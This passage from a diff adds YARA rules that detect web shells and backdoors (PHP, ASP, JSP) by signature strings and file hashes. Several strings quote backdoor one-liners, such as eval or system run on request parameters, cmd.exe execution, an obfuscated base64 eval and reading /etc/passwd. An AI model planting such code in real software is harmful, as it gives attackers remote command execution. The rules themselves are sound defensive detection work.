+		$s1 = "case 's':ConnectionDBM(out,encodeChange(request.getParameter(\"drive"
+		$s9 = "return \"<a href=\\\"javascript:delFile('\"+folderReplace(file)+\"')\\\""
+	condition:
+		all of them
+}
+rule webshell_phpkit_1_0_odd {
+	meta:
+		description = "Web Shell - file odd.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "594d1b1311bbef38a0eb3d6cbb1ab538"
+	strings:
+		$s0 = "include('php://input');" fullword
+		$s1 = "// No eval() calls, no system() calls, nothing normally seen as malicious." fullword
+		$s2 = "ini_set('allow_url_include, 1'); // Allow url inclusion in this script" fullword
+	condition:
+		all of them
+}
+rule webshell_jsp_123 {
+	meta:
+		description = "Web Shell - file 123.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "c691f53e849676cac68a38d692467641"
+	strings:
+		$s0 = "<font color=\"blue\">??????????????????:</font><input type=\"text\" size=\"7"
+		$s3 = "String path=new String(request.getParameter(\"path\").getBytes(\"ISO-8859-1\""
+		$s9 = "<input type=\"submit\" name=\"btnSubmit\" value=\"Upload\">    " fullword
+	condition:
+		all of them
+}
+rule webshell_asp_1 {
+	meta:
+		description = "Web Shell - file 1.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "8991148adf5de3b8322ec5d78cb01bdb"
+	strings:
+		$s4 = "!22222222222222222222222222222222222222222222222222" fullword
+		$s8 = "<%eval request(\"pass\")%>" fullword
+	condition:
+		all of them
+}
+rule webshell_ASP_tool {
+	meta:
+		description = "Web Shell - file tool.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "4ab68d38527d5834e9c1ff64407b34fb"
+	strings:
+		$s0 = "Response.Write \"<FORM action=\"\"\" & Request.ServerVariables(\"URL\") & \"\"\""
+		$s3 = "Response.Write \"<tr><td><font face='arial' size='2'><b>&lt;DIR&gt; <a href='\" "
+		$s9 = "Response.Write \"<font face='arial' size='1'><a href=\"\"#\"\" onclick=\"\"javas"
+	condition:
+		2 of them
+}
+rule webshell_cmd_win32 {
+	meta:
+		description = "Web Shell - file cmd_win32.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "cc4d4d6cc9a25984aa9a7583c7def174"
+	strings:
+		$s0 = "Process p = Runtime.getRuntime().exec(\"cmd.exe /c \" + request.getParam"
+		$s1 = "<FORM METHOD=\"POST\" NAME=\"myform\" ACTION=\"\">" fullword
+	condition:
+		2 of them
+}
+rule webshell_jsp_jshell {
+	meta:
+		description = "Web Shell - file jshell.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "124b22f38aaaf064cef14711b2602c06"
+	strings:
+		$s0 = "kXpeW[\"" fullword
+		$s4 = "[7b:g0W@W<" fullword
+		$s5 = "b:gHr,g<" fullword
+		$s8 = "RhV0W@W<" fullword
+		$s9 = "S_MR(u7b" fullword
+	condition:
+		all of them
+}
+rule webshell_ASP_zehir4 {
+	meta:
+		description = "Web Shell - file zehir4.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "7f4e12e159360743ec016273c3b9108c"
+	strings:
+		$s9 = "Response.Write \"<a href='\"&dosyaPath&\"?status=7&Path=\"&Path&\"/"
+	condition:
+		all of them
+}
+rule webshell_wsb_idc {
+	meta:
+		description = "Web Shell - file idc.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "7c5b1b30196c51f1accbffb80296395f"
+	strings:
+		$s1 = "if (md5($_GET['usr'])==$user && md5($_GET['pass'])==$pass)" fullword
+		$s3 = "{eval($_GET['idc']);}" fullword
+	condition:
+		1 of them
+}
+rule webshell_cpg_143_incl_xpl {
+	meta:
+		description = "Web Shell - file cpg_143_incl_xpl.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "5937b131b67d8e0afdbd589251a5e176"
+	strings:
+		$s3 = "$data=\"username=\".urlencode($USER).\"&password=\".urlencode($PA"
+		$s5 = "fputs($sun_tzu,\"<?php echo \\\"Hi Master!\\\";ini_set(\\\"max_execution_time"
+	condition:
+		1 of them
+}
+rule webshell_mumaasp_com {
+	meta:
+		description = "Web Shell - file mumaasp.com.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "cce32b2e18f5357c85b6d20f564ebd5d"
+	strings:
+		$s0 = "&9K_)P82ai,A}I92]R\"q!C:RZ}S6]=PaTTR"
+	condition:
+		all of them
+}
+rule webshell_php_404 {
+	meta:
+		description = "Web Shell - file 404.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "ced050df5ca42064056a7ad610a191b3"
+	strings:
+		$s0 = "$pass = md5(md5(md5($pass)));" fullword
+	condition:
+		all of them
+}
+rule webshell_webshell_cnseay_x {
+	meta:
+		description = "Web Shell - file webshell-cnseay-x.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "a0f9f7f5cd405a514a7f3be329f380e5"
+	strings:
+		$s9 = "$_F_F.='_'.$_P_P[5].$_P_P[20].$_P_P[13].$_P_P[2].$_P_P[19].$_P_P[8].$_P_"
+	condition:
+		all of them
+}
+rule webshell_asp_up {
+	meta:
+		description = "Web Shell - file up.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "f775e721cfe85019fe41c34f47c0d67c"
+	strings:
+		$s0 = "Pos = InstrB(BoundaryPos,RequestBin,getByteString(\"Content-Dispositio"
+		$s1 = "ContentType = getString(MidB(RequestBin,PosBeg,PosEnd-PosBeg))" fullword
+	condition:
+		1 of them
+}
+rule webshell_phpkit_0_1a_odd {
+	meta:
+		description = "Web Shell - file odd.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "3c30399e7480c09276f412271f60ed01"
+	strings:
+		$s1 = "include('php://input');" fullword
+		$s3 = "ini_set('allow_url_include, 1'); // Allow url inclusion in this script" fullword
+		$s4 = "// uses include('php://input') to execute arbritary code" fullword
+		$s5 = "// php://input based backdoor" fullword
+	condition:
+		2 of them
+}
+rule webshell_ASP_cmd {
+	meta:
+		description = "Web Shell - file cmd.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "97af88b478422067f23b001dd06d56a9"
+	strings:
+		$s0 = "<%= \"\\\\\" & oScriptNet.ComputerName & \"\\\" & oScriptNet.UserName %>" fullword
+	condition:
+		all of them
+}
+rule webshell_PHP_Shell_x3 {
+	meta:
+		description = "Web Shell - file PHP Shell.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "a2f8fa4cce578fc9c06f8e674b9e63fd"
+	strings:
+		$s4 = "&nbsp;&nbsp;<?php echo buildUrl(\"<font color=\\\"navy\\\">["
+		$s6 = "echo \"</form><form action=\\\"$SFileName?$urlAdd\\\" method=\\\"post\\\"><input"
+		$s9 = "if  ( ( (isset($http_auth_user) ) && (isset($http_auth_pass)) ) && ( !isset("
+	condition:
+		2 of them
+}
+rule webshell_PHP_g00nv13 {
+	meta:
+		description = "Web Shell - file g00nv13.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "35ad2533192fe8a1a76c3276140db820"
+	strings:
+		$s1 = "case \"zip\": case \"tar\": case \"rar\": case \"gz\": case \"cab\": cas"
+		$s4 = "if(!($sqlcon = @mysql_connect($_SESSION['sql_host'] . ':' . $_SESSION['sql_p"
+	condition:
+		all of them
+}
+rule webshell_php_h6ss {
+	meta:
+		description = "Web Shell - file h6ss.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "272dde9a4a7265d6c139287560328cd5"
+	strings:
+		$s0 = "<?php eval(gzuncompress(base64_decode(\""
+	condition:
+		all of them
+}
+rule webshell_jsp_zx {
+	meta:
+		description = "Web Shell - file zx.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "67627c264db1e54a4720bd6a64721674"
+	strings:
+		$s0 = "if(request.getParameter(\"f\")!=null)(new java.io.FileOutputStream(application.g"
+	condition:
+		all of them
+}
+rule webshell_Ani_Shell {
+	meta:
+		description = "Web Shell - file Ani-Shell.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "889bfc9fbb8ee7832044fc575324d01a"
+	strings:
+		$s0 = "$Python_CODE = \"I"
+		$s6 = "$passwordPrompt = \"\\n================================================="
+		$s7 = "fputs ($sockfd ,\"\\n==============================================="
+	condition:
+		1 of them
+}
+rule webshell_jsp_k8cmd {
+	meta:
+		description = "Web Shell - file k8cmd.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "b39544415e692a567455ff033a97a682"
+	strings:
+		$s2 = "if(request.getSession().getAttribute(\"hehe\").toString().equals(\"hehe\"))" fullword
+	condition:
+		all of them
+}
+rule webshell_jsp_cmd {
+	meta:
+		description = "Web Shell - file cmd.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "5391c4a8af1ede757ba9d28865e75853"
+	strings:
+		$s6 = "out.println(\"Command: \" + request.getParameter(\"cmd\") + \"<BR>\");" fullword
+	condition:
+		all of them
+}
+rule webshell_jsp_k81 {
+	meta:
+		description = "Web Shell - file k81.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "41efc5c71b6885add9c1d516371bd6af"
+	strings:
+		$s1 = "byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(cmd);" fullword
+		$s9 = "if(cmd.equals(\"Szh0ZWFt\")){out.print(\"[S]\"+dir+\"[E]\");}" fullword
+	condition:
+		1 of them
+}
+rule webshell_ASP_zehir {
+	meta:
+		description = "Web Shell - file zehir.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "0061d800aee63ccaf41d2d62ec15985d"
+	strings:
+		$s9 = "Response.Write \"<font face=wingdings size=3><a href='\"&dosyaPath&\"?status=18&"
+	condition:
+		all of them
+}
+rule webshell_Worse_Linux_Shell {
+	meta:
+		description = "Web Shell - file Worse Linux Shell.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "8338c8d9eab10bd38a7116eb534b5fa2"
+	strings:
+		$s0 = "system(\"mv \".$_FILES['_upl']['tmp_name'].\" \".$currentWD"
+	condition:
+		all of them
+}
+rule webshell_zacosmall {
+	meta:
+		description = "Web Shell - file zacosmall.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "5295ee8dc2f5fd416be442548d68f7a6"
+	strings:
+		$s0 = "if($cmd!==''){ echo('<strong>'.htmlspecialchars($cmd).\"</strong><hr>"
+	condition:
+		all of them
+}
+rule webshell_Liz0ziM_Private_Safe_Mode_Command_Execuriton_Bypass_Exploit {
+	meta:
+		description = "Web Shell - file Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "c6eeacbe779518ea78b8f7ed5f63fc11"
+	strings:
+		$s1 = "<option value=\"cat /etc/passwd\">/etc/passwd</option>" fullword
+	condition:
+		all of them
+}
+rule webshell_redirect {
+	meta:
+		description = "Web Shell - file redirect.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "97da83c6e3efbba98df270cc70beb8f8"
+	strings:
+		$s7 = "var flag = \"?txt=\" + (document.getElementById(\"dl\").checked ? \"2\":\"1\" "
+	condition:
+		all of them
+}
+rule webshell_jsp_cmdjsp {
+	meta:
+		description = "Web Shell - file cmdjsp.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "b815611cc39f17f05a73444d699341d4"
+	strings:
+		$s5 = "<FORM METHOD=GET ACTION='cmdjsp.jsp'>" fullword
+	condition:
+		all of them
+}
+rule webshell_Java_Shell {
+	meta:
+		description = "Web Shell - file Java Shell.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "36403bc776eb12e8b7cc0eb47c8aac83"
+	strings:
+		$s4 = "public JythonShell(int columns, int rows, int scrollback) {" fullword
+		$s9 = "this(null, Py.getSystemState(), columns, rows, scrollback);" fullword
+	condition:
+		1 of them
+}
+rule webshell_asp_1d {
+	meta:
+		description = "Web Shell - file 1d.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "fad7504ca8a55d4453e552621f81563c"
+	strings:
+		$s0 = "+9JkskOfKhUxZJPL~\\(mD^W~[,{@#@&EO"
+	condition:
+		all of them
+}
+rule webshell_jsp_IXRbE {
+	meta:
+		description = "Web Shell - file IXRbE.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "e26e7e0ebc6e7662e1123452a939e2cd"
+	strings:
+		$s0 = "<%if(request.getParameter(\"f\")!=null)(new java.io.FileOutputStream(application"
+	condition:
+		all of them
+}
+rule webshell_PHP_G5 {
+	meta:
+		description = "Web Shell - file G5.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "95b4a56140a650c74ed2ec36f08d757f"
+	strings:
+		$s3 = "echo \"Hacking Mode?<br><select name='htype'><option >--------SELECT--------</op"
+	condition:
+		all of them
+}
+rule webshell_PHP_r57142 {
+	meta:
+		description = "Web Shell - file r57142.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "0911b6e6b8f4bcb05599b2885a7fe8a8"
+	strings:
+		$s0 = "$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');" fullword
+	condition:
+		all of them
+}
+rule webshell_jsp_tree {
+	meta:
+		description = "Web Shell - file tree.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "bcdf7bbf7bbfa1ffa4f9a21957dbcdfa"
+	strings:
+		$s5 = "$('#tt2').tree('options').url = \"selectChild.action?checki"
+		$s6 = "String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+requ"
+	condition:
+		all of them
+}
+rule webshell_C99madShell_v_3_0_smowu {
+	meta:
+		description = "Web Shell - file smowu.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "74e1e7c7a6798f1663efb42882b85bee"
+	strings:
+		$s2 = "<tr><td width=\"50%\" height=\"1\" valign=\"top\"><center><b>:: Enter ::</b><for"
+		$s8 = "<p><font color=red>Wordpress Not Found! <input type=text id=\"wp_pat\"><input ty"
+	condition:
+		1 of them
+}
+rule webshell_simple_backdoor {
+	meta:
+		description = "Web Shell - file simple-backdoor.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "f091d1b9274c881f8e41b2f96e6b9936"
+	strings:
+		$s0 = "$cmd = ($_REQUEST['cmd']);" fullword
+		$s1 = "if(isset($_REQUEST['cmd'])){" fullword
+		$s4 = "system($cmd);" fullword
+	condition:
+		2 of them
+}
+rule webshell_PHP_404 {
+	meta:
+		description = "Web Shell - file 404.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "078c55ac475ab9e028f94f879f548bca"
+	strings:
+		$s4 = "<span>Posix_getpwuid (\"Read\" /etc/passwd)"
+	condition:
+		all of them
+}
+rule webshell_Macker_s_Private_PHPShell {
+	meta:
+		description = "Web Shell - file Macker's Private PHPShell.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "e24cbf0e294da9ac2117dc660d890bb9"
+	strings:
+		$s3 = "echo \"<tr><td class=\\\"silver border\\\">&nbsp;<strong>Server's PHP Version:&n"
+		$s4 = "&nbsp;&nbsp;<?php echo buildUrl(\"<font color=\\\"navy\\\">["
+		$s7 = "echo \"<form action=\\\"$SFileName?$urlAdd\\\" method=\\\"POST\\\"><input type="
+	condition:
+		all of them
+}
+rule webshell_Antichat_Shell_v1_3_2 {
+	meta:
+		description = "Web Shell - file Antichat Shell v1.3.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "40d0abceba125868be7f3f990f031521"
+	strings:
+		$s3 = "$header='<html><head><title>'.getenv(\"HTTP_HOST\").' - Antichat Shell</title><m"
+	condition:
+		all of them
+}
+rule webshell_Safe_mode_breaker {
+	meta:
+		description = "Web Shell - file Safe mode breaker.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "5bd07ccb1111950a5b47327946bfa194"
+	strings:
+		$s5 = "preg_match(\"/SAFE\\ MODE\\ Restriction\\ in\\ effect\\..*whose\\ uid\\ is("
+		$s6 = "$path =\"{$root}\".((substr($root,-1)!=\"/\") ? \"/\" : NULL)."
+	condition:
+		1 of them
+}
+rule webshell_Sst_Sheller {
+	meta:
+		description = "Web Shell - file Sst-Sheller.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "d93c62a0a042252f7531d8632511ca56"
+	strings:
+		$s2 = "echo \"<a href='?page=filemanager&id=fm&fchmod=$dir$file'>"
+		$s3 = "<? unlink($filename); unlink($filename1); unlink($filename2); unlink($filename3)"
+	condition:
+		all of them
+}
+rule webshell_jsp_list {
+	meta:
+		description = "Web Shell - file list.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "1ea290ff4259dcaeb680cec992738eda"
+	strings:
+		$s0 = "<FORM METHOD=\"POST\" NAME=\"myform\" ACTION=\"\">" fullword
+		$s2 = "out.print(\") <A Style='Color: \" + fcolor.toString() + \";' HRef='?file=\" + fn"
+		$s7 = "if(flist[i].canRead() == true) out.print(\"r\" ); else out.print(\"-\");" fullword
+	condition:
+		all of them
+}
+rule webshell_PHPJackal_v1_5 {
+	meta:
+		description = "Web Shell - file PHPJackal v1.5.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "d76dc20a4017191216a0315b7286056f"
+	strings:
+		$s7 = "echo \"<center>${t}MySQL cilent:</td><td bgcolor=\\\"#333333\\\"></td></tr><form"
+		$s8 = "echo \"<center>${t}Wordlist generator:</td><td bgcolor=\\\"#333333\\\"></td></tr"
+	condition:
+		all of them
+}
+rule webshell_customize {
+	meta:
+		description = "Web Shell - file customize.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "d55578eccad090f30f5d735b8ec530b1"
+	strings:
+		$s4 = "String cs = request.getParameter(\"z0\")==null?\"gbk\": request.getParameter(\"z"
+	condition:
+		all of them
+}
+rule webshell_s72_Shell_v1_1_Coding {
+	meta:
+		description = "Web Shell - file s72 Shell v1.1 Coding.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "c2e8346a5515c81797af36e7e4a3828e"
+	strings:
+		$s5 = "<font face=\"Verdana\" style=\"font-size: 8pt\" color=\"#800080\">Buradan Dosya "
+	condition:
+		all of them
+}
+rule webshell_jsp_sys3 {
+	meta:
+		description = "Web Shell - file sys3.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "b3028a854d07674f4d8a9cf2fb6137ec"
+	strings:
+		$s1 = "<input type=\"submit\" name=\"btnSubmit\" value=\"Upload\">" fullword
+		$s4 = "String path=new String(request.getParameter(\"path\").getBytes(\"ISO-8859-1\""
+		$s9 = "<%@page contentType=\"text/html;charset=gb2312\"%>" fullword
+	condition:
+		all of them
+}
+rule webshell_jsp_guige02 {
+	meta:
+		description = "Web Shell - file guige02.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "a3b8b2280c56eaab777d633535baf21d"
+	strings:
+		$s0 = "????????????????%><html><head><title>hahahaha</title></head><body bgcolor=\"#fff"
+		$s1 = "<%@page contentType=\"text/html; charset=GBK\" import=\"java.io.*;\"%><%!private"
+	condition:
+		all of them
+}
+rule webshell_php_ghost {
+	meta:
+		description = "Web Shell - file ghost.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "38dc8383da0859dca82cf0c943dbf16d"
+	strings:
+		$s1 = "<?php $OOO000000=urldecode('%61%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64'"
+		$s6 = "//<img width=1 height=1 src=\"http://websafe.facaiok.com/just7z/sx.asp?u=***.***"
+		$s7 = "preg_replace('\\'a\\'eis','e'.'v'.'a'.'l'.'(KmU(\"" fullword
+	condition:
+		all of them
+}
+rule webshell_WinX_Shell {
+	meta:
+		description = "Web Shell - file WinX Shell.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "17ab5086aef89d4951fe9b7c7a561dda"
+	strings:
+		$s5 = "print \"<font face=\\\"Verdana\\\" size=\\\"1\\\" color=\\\"#990000\\\">Filenam"
+		$s8 = "print \"<font face=\\\"Verdana\\\" size=\\\"1\\\" color=\\\"#990000\\\">File: </"
+	condition:
+		all of them
+}
+rule webshell_Crystal_Crystal {
+	meta:
+		description = "Web Shell - file Crystal.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "fdbf54d5bf3264eb1c4bff1fac548879"
+	strings:
+		$s1 = "show opened ports</option></select><input type=\"hidden\" name=\"cmd_txt\" value"
+		$s6 = "\" href=\"?act=tools\"><font color=#CC0000 size=\"3\">Tools</font></a></span></f"
+	condition:
+		all of them
+}
+rule webshell_r57_1_4_0 {
+	meta:
+		description = "Web Shell - file r57.1.4.0.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "574f3303e131242568b0caf3de42f325"
+	strings:
+		$s4 = "@ini_set('error_log',NULL);" fullword
+		$s6 = "$pass='abcdef1234567890abcdef1234567890';" fullword
+		$s7 = "@ini_restore(\"disable_functions\");" fullword
+		$s9 = "@ini_restore(\"safe_mode_exec_dir\");" fullword
+	condition:
+		all of them
+}
+rule webshell_jsp_hsxa1 {
+	meta:
+		description = "Web Shell - file hsxa1.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "5686d5a38c6f5b8c55095af95c2b0244"
+	strings:
+		$s0 = "<%@ page language=\"java\" pageEncoding=\"gbk\"%><jsp:directive.page import=\"ja"
+	condition:
+		all of them
+}
+rule webshell_asp_ajn {
+	meta:
+		description = "Web Shell - file ajn.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "aaafafc5d286f0bff827a931f6378d04"
+	strings:
+		$s1 = "seal.write \"Set WshShell = CreateObject(\"\"WScript.Shell\"\")\" & vbcrlf" fullword
+		$s6 = "seal.write \"BinaryStream.SaveToFile \"\"c:\\downloaded.zip\"\", adSaveCreateOve"
+	condition:
+		all of them
+}
+rule webshell_php_cmd {
+	meta:
+		description = "Web Shell - file cmd.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "c38ae5ba61fd84f6bbbab98d89d8a346"
+	strings:
+		$s0 = "if($_GET['cmd']) {" fullword
+		$s1 = "// cmd.php = Command Execution" fullword
+		$s7 = "  system($_GET['cmd']);" fullword
+	condition:
+		all of them
+}
+rule webshell_asp_list {
+	meta:
+		description = "Web Shell - file list.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "1cfa493a165eb4b43e6d4cc0f2eab575"
+	strings:
+		$s0 = "<INPUT TYPE=\"hidden\" NAME=\"type\" value=\"<%=tipo%>\">" fullword
+		$s4 = "Response.Write(\"<h3>FILE: \" & file & \"</h3>\")" fullword
+	condition:
+		all of them
+}
+rule webshell_PHP_co {
+	meta:
+		description = "Web Shell - file co.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "62199f5ac721a0cb9b28f465a513874c"
+	strings:
+		$s0 = "cGX6R9q733WvRRjISKHOp9neT7wa6ZAD8uthmVJV" fullword
+		$s11 = "6Mk36lz/HOkFfoXX87MpPhZzBQH6OaYukNg1OE1j" fullword
+	condition:
+		all of them
+}
+rule webshell_PHP_150 {
+	meta:
+		description = "Web Shell - file 150.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "400c4b0bed5c90f048398e1d268ce4dc"
+	strings:
+		$s0 = "HJ3HjqxclkZfp"
+		$s1 = "<? eval(gzinflate(base64_decode('" fullword
+	condition:
+		all of them
+}
+rule webshell_jsp_cmdjsp_2 {
+	meta:
+		description = "Web Shell - file cmdjsp.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "1b5ae3649f03784e2a5073fa4d160c8b"
+	strings:
+		$s0 = "Process p = Runtime.getRuntime().exec(\"cmd.exe /C \" + cmd);" fullword
+		$s4 = "<FORM METHOD=GET ACTION='cmdjsp.jsp'>" fullword
+	condition:
+		all of them
+}
+rule webshell_PHP_c37 {
+	meta:
+		description = "Web Shell - file c37.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "d01144c04e7a46870a8dd823eb2fe5c8"
+	strings:
+		$s3 = "array('cpp','cxx','hxx','hpp','cc','jxx','c++','vcproj'),"
+		$s9 = "++$F; $File = urlencode($dir[$dirFILE]); $eXT = '.:'; if (strpos($dir[$dirFILE],"
+	condition:
+		all of them
+}
+rule webshell_PHP_b37 {
+	meta:
+		description = "Web Shell - file b37.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "0421445303cfd0ec6bc20b3846e30ff0"
+	strings:
+		$s0 = "xmg2/G4MZ7KpNveRaLgOJvBcqa2A8/sKWp9W93NLXpTTUgRc"
+	condition:
+		all of them
+}
+rule webshell_php_backdoor {
+	meta:
+		description = "Web Shell - file php-backdoor.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "2b5cb105c4ea9b5ebc64705b4bd86bf7"
+	strings:
+		$s1 = "if(!move_uploaded_file($HTTP_POST_FILES['file_name']['tmp_name'], $dir.$fname))" fullword
+		$s2 = "<pre><form action=\"<? echo $PHP_SELF; ?>\" METHOD=GET >execute command: <input "
+	condition:
+		all of them
+}
+rule webshell_asp_dabao {
+	meta:
+		description = "Web Shell - file dabao.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "3919b959e3fa7e86d52c2b0a91588d5d"
+	strings:
+		$s2 = " Echo \"<input type=button name=Submit onclick=\"\"document.location =&#039;\" &"
+		$s8 = " Echo \"document.Frm_Pack.FileName.value=\"\"\"\"+year+\"\"-\"\"+(month+1)+\"\"-"
+	condition:
+		all of them
+}
+rule webshell_php_2 {
+	meta:
+		description = "Web Shell - file 2.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "267c37c3a285a84f541066fc5b3c1747"
+	strings:
+		$s0 = "<?php assert($_REQUEST[\"c\"]);?> " fullword
+	condition:
+		all of them
+}
+rule webshell_asp_cmdasp {
+	meta:
+		description = "Web Shell - file cmdasp.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "57b51418a799d2d016be546f399c2e9b"
+	strings:
+		$s0 = "<%= \"\\\\\" & oScriptNet.ComputerName & \"\\\" & oScriptNet.UserName %>" fullword
+		$s7 = "Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)" fullword
+	condition:
+		all of them
+}
+rule webshell_spjspshell {
+	meta:
+		description = "Web Shell - file spjspshell.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "d39d51154aaad4ba89947c459a729971"
+	strings:
+		$s7 = "Unix:/bin/sh -c tar vxf xxx.tar Windows:c:\\winnt\\system32\\cmd.exe /c type c:"
+	condition:
+		all of them
+}
+rule webshell_jsp_action {
+	meta:
+		description = "Web Shell - file action.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "5a7d931094f5570aaf5b7b3b06c3d8c0"
+	strings:
+		$s1 = "String url=\"jdbc:oracle:thin:@localhost:1521:orcl\";" fullword
+		$s6 = "<%@ page contentType=\"text/html;charset=gb2312\"%>" fullword
+	condition:
+		all of them
+}
+rule webshell_Inderxer {
+	meta:
+		description = "Web Shell - file Inderxer.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "9ea82afb8c7070817d4cdf686abe0300"
+	strings:
+		$s4 = "<td>Nereye :<td><input type=\"text\" name=\"nereye\" size=25></td><td><input typ"
+	condition:
+		all of them
+}
+rule webshell_asp_Rader {
+	meta:
+		description = "Web Shell - file Rader.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "ad1a362e0a24c4475335e3e891a01731"
+	strings:
+		$s1 = "FONT-WEIGHT: bold; FONT-SIZE: 10px; BACKGROUND: none transparent scroll repeat 0"
+		$s3 = "m\" target=inf onClick=\"window.open('?action=help','inf','width=450,height=400 "
+	condition:
+		all of them
+}
+rule webshell_c99_madnet_smowu {
+	meta:
+		description = "Web Shell - file smowu.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "3aaa8cad47055ba53190020311b0fb83"
+	strings:
+		$s0 = "//Authentication" fullword
+		$s1 = "$login = \"" fullword
+		$s2 = "eval(gzinflate(base64_decode('"
+		$s4 = "//Pass"
+		$s5 = "$md5_pass = \""
+		$s6 = "//If no pass then hash"
+	condition:
+		all of them
+}
+rule webshell_php_moon {
+	meta:
+		description = "Web Shell - file moon.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "2a2b1b783d3a2fa9a50b1496afa6e356"
+	strings:
+		$s2 = "echo '<option value=\"create function backshell returns string soname"
+		$s3 = "echo      \"<input name='p' type='text' size='27' value='\".dirname(_FILE_).\""
+		$s8 = "echo '<option value=\"select cmdshell(\\'net user "
+	condition:
+		2 of them
+}
+rule webshell_jsp_jdbc {
+	meta:
